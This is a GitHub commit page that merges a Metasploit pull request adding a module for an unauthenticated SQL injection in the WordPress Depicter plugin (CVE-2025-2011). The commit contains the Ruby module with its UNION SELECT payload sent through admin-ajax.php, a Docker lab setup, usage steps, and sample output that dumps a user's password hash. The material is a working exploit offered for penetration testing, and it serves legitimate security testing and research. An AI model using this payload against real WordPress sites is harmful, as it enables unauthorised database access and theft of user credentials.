Skip to content

Commit 9b7e27e

Browse files
authored
Merge pull request rapid7#20185 from Chocapikk/wp_depicter_sqli_cve_2025_2011
Add WP Depicter Plugin Unauth SQL Injection (CVE-2025-2011)
2 parents 5c6f6f1 + 6cb8d8c commit 9b7e27e

File tree

3 files changed

+239
-0
lines changed

3 files changed

+239
-0
lines changed

data/wordlists/wp-exploitable-plugins.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@ bulletproof-security
88
catch-themes-demo-import
99
chopslider
1010
custom-registration-form-builder-with-submission-manager
11+
depicter
1112
download-manager
1213
drag-and-drop-multiple-file-upload-contact-form-7
1314
dukapress
Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
## Vulnerable Application
2+
3+
The vulnerability affects the **Slider & Popup Builder by Depicter** plugin for WordPress,
4+
versions **up to 3.6.1**, allowing **unauthenticated SQL injection** via the `s` parameter on `admin-ajax.php`.
5+
WordPress itself must be installed.
6+
7+
### Pre-requisites
8+
9+
* **Docker** and **Docker Compose** installed.
10+
11+
12+
## Setup Instructions
13+
14+
1. **Create a `docker-compose.yml`** with:
15+
16+
```yaml
17+
version: '3.1'
18+
19+
services:
20+
wordpress:
21+
image: wordpress:latest
22+
restart: always
23+
ports:
24+
- 5555:80
25+
environment:
26+
WORDPRESS_DB_HOST: db
27+
WORDPRESS_DB_USER: chocapikk
28+
WORDPRESS_DB_PASSWORD: dummy_password
29+
WORDPRESS_DB_NAME: exploit_market
30+
mem_limit: 512m
31+
volumes:
32+
- wordpress:/var/www/html
33+
34+
db:
35+
image: mysql:5.7
36+
restart: always
37+
environment:
38+
MYSQL_DATABASE: exploit_market
39+
MYSQL_USER: chocapikk
40+
MYSQL_PASSWORD: dummy_password
41+
MYSQL_RANDOM_ROOT_PASSWORD: '1'
42+
volumes:
43+
- db:/var/lib/mysql
44+
45+
volumes:
46+
wordpress:
47+
db:
48+
```
49+
50+
2. **Start the environment**
51+
52+
```bash
53+
docker-compose up -d
54+
```
55+
56+
3. **Install Depicter plugin**
57+
58+
```bash
59+
wget https://downloads.wordpress.org/plugin/depicter.3.6.1.zip
60+
unzip depicter.3.6.1.zip
61+
docker cp depicter wordpress:/var/www/html/wp-content/plugins/
62+
```
63+
64+
4. **Activate Depicter**
65+
66+
* Browse to `http://localhost:5555/wp-admin`, log in as admin (create one if needed), and activate **Slider & Popup Builder by Depicter**.
67+
* No additional setup is required.
68+
69+
70+
## Verification Steps
71+
72+
1. **Launch Metasploit**
73+
74+
```bash
75+
msfconsole
76+
```
77+
78+
2. **Load the Depicter SQLi scanner**
79+
80+
```bash
81+
use auxiliary/gather/wp_depicter_sqli_cve_2025_2011
82+
set RHOSTS 127.0.0.1
83+
set RPORT 5555
84+
set TARGETURI /
85+
```
86+
87+
3. **Run the module**
88+
89+
```bash
90+
run
91+
```
92+
93+
4. **Observe output**
94+
95+
The module should:
96+
97+
* Retrieve the database name
98+
* Enumerate tables and infer the `wp_users` table
99+
* Extract `user_login:user_pass` for the number of rows set by `COUNT`
100+
101+
## Options
102+
103+
* **TARGETURI** (`/`): base path to WordPress
104+
* **COUNT** (`1`): number of user rows to retrieve
105+
106+
## Scenarios
107+
108+
```bash
109+
msf6 auxiliary(gather/wp_depicter_sqli_cve_2025_2011) > exploit
110+
[*] Running automatic check ("set AutoCheck false" to disable)
111+
[*] {SQLi} Executing (select 'bEJ')
112+
[*] {SQLi} Encoded to (select 0x62454a)
113+
[+] The target is vulnerable.
114+
[*] {SQLi} Executing (SELECT 15 FROM information_schema.tables WHERE table_name = 'wp_users')
115+
[*] {SQLi} Encoded to (SELECT 15 FROM information_schema.tables WHERE table_name = 0x77705f7573657273)
116+
[*] {WPSQLi} Retrieved default table prefix: 'wp_'
117+
[*] {SQLi} Executing (select group_concat(DCdo) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) DCdo from wp_users limit 1) ofAGxxQl)
118+
[*] {SQLi} Encoded to (select group_concat(DCdo) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xa,0)),ifnull(user_pass,repeat(0x2,0))) as binary) DCdo from wp_users limit 1) ofAGxxQl)
119+
[!] No active DB -- Credential data will not be saved!
120+
[+] {WPSQLi} Credential for user 'chocapikk' created successfully.
121+
[*] {WPSQLi} Dumped user data:
122+
wp_users
123+
========
124+
125+
user_login user_pass
126+
---------- ---------
127+
chocapikk $wp$2y$10$rc5oXfNPG.bYSnbYvELKZeGgoQ9.QHcAXG8U/xunfXzsviMQkiPga
128+
129+
[+] Loot saved to: /home/chocapikk/.msf4/loot/20250521182202_default_127.0.0.1_wordpress.users_171366.txt
130+
[*] {WPSQLi} Reporting host...
131+
[*] {WPSQLi} Reporting service...
132+
[*] {WPSQLi} Reporting vulnerability...
133+
[+] {WPSQLi} Reporting completed successfully.
134+
[*] Scanned 1 of 1 hosts (100% complete)
135+
[*] Auxiliary module execution completed
136+
```
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HTTP::Wordpress
8+
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
11+
GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'WordPress Depicter Plugin SQL Injection (CVE-2025-2011)',
18+
'Description' => %q{
19+
The Slider & Popup Builder by Depicter plugin for WordPress <= 3.6.1
20+
is vulnerable to unauthenticated SQL injection via the 's' parameter
21+
in admin-ajax.php.
22+
},
23+
'Author' => [
24+
'Muhamad Visat', # Vulnerability Discovery
25+
'Valentin Lobstein' # Metasploit Module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' => [
29+
['CVE', '2025-2011'],
30+
['WPVDB', '6f894272-3eb6-4595-ae00-1c4b0c0b6564'],
31+
['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-2011'],
32+
['URL', 'https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179']
33+
],
34+
'Actions' => [
35+
['SQLi', { 'Description' => 'Perform SQL Injection via admin-ajax.php?s=' }]
36+
],
37+
'DefaultAction' => 'SQLi',
38+
'DefaultOptions' => {
39+
'VERBOSE' => true,
40+
'COUNT' => 1
41+
},
42+
'DisclosureDate' => '2025-05-08',
43+
'Notes' => {
44+
'Stability' => [CRASH_SAFE],
45+
'SideEffects' => [IOC_IN_LOGS],
46+
'Reliability' => []
47+
}
48+
)
49+
)
50+
51+
register_options([
52+
OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']),
53+
Opt::RPORT(80)
54+
])
55+
end
56+
57+
def get_sqli_object
58+
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
59+
expr = payload.to_s.strip.gsub(/\s+/, ' ')
60+
r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) }
61+
injected = "#{r1}') UNION SELECT #{r2},#{r3},(#{expr}),#{r4},#{r5}-- -"
62+
63+
endpoint = normalize_uri('wp-admin', 'admin-ajax.php')
64+
params = {
65+
'action' => 'depicter-lead-index',
66+
's' => injected,
67+
'perpage' => rand(10..50).to_s,
68+
'page' => rand(1..3).to_s,
69+
'orderBy' => 'source_id',
70+
'order' => ['ASC', 'DESC'].sample,
71+
'dateStart' => '',
72+
'dateEnd' => '',
73+
'sources' => ''
74+
}
75+
res = send_request_cgi(
76+
'method' => 'GET',
77+
'uri' => endpoint,
78+
'vars_get' => params
79+
)
80+
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200
81+
82+
extracted = res.get_json_document.dig('hits', 0, 'content', 'id')
83+
return GET_SQLI_OBJECT_FAILED_ERROR_MSG if extracted.to_s.empty?
84+
85+
extracted
86+
end
87+
end
88+
89+
def check
90+
@sqli = get_sqli_object
91+
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
92+
return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable
93+
94+
Exploit::CheckCode::Safe
95+
end
96+
97+
def run
98+
@sqli ||= get_sqli_object
99+
wordpress_sqli_initialize(@sqli)
100+
wordpress_sqli_get_users_credentials(datastore['COUNT'])
101+
end
102+
end

0 commit comments

Comments
 (0)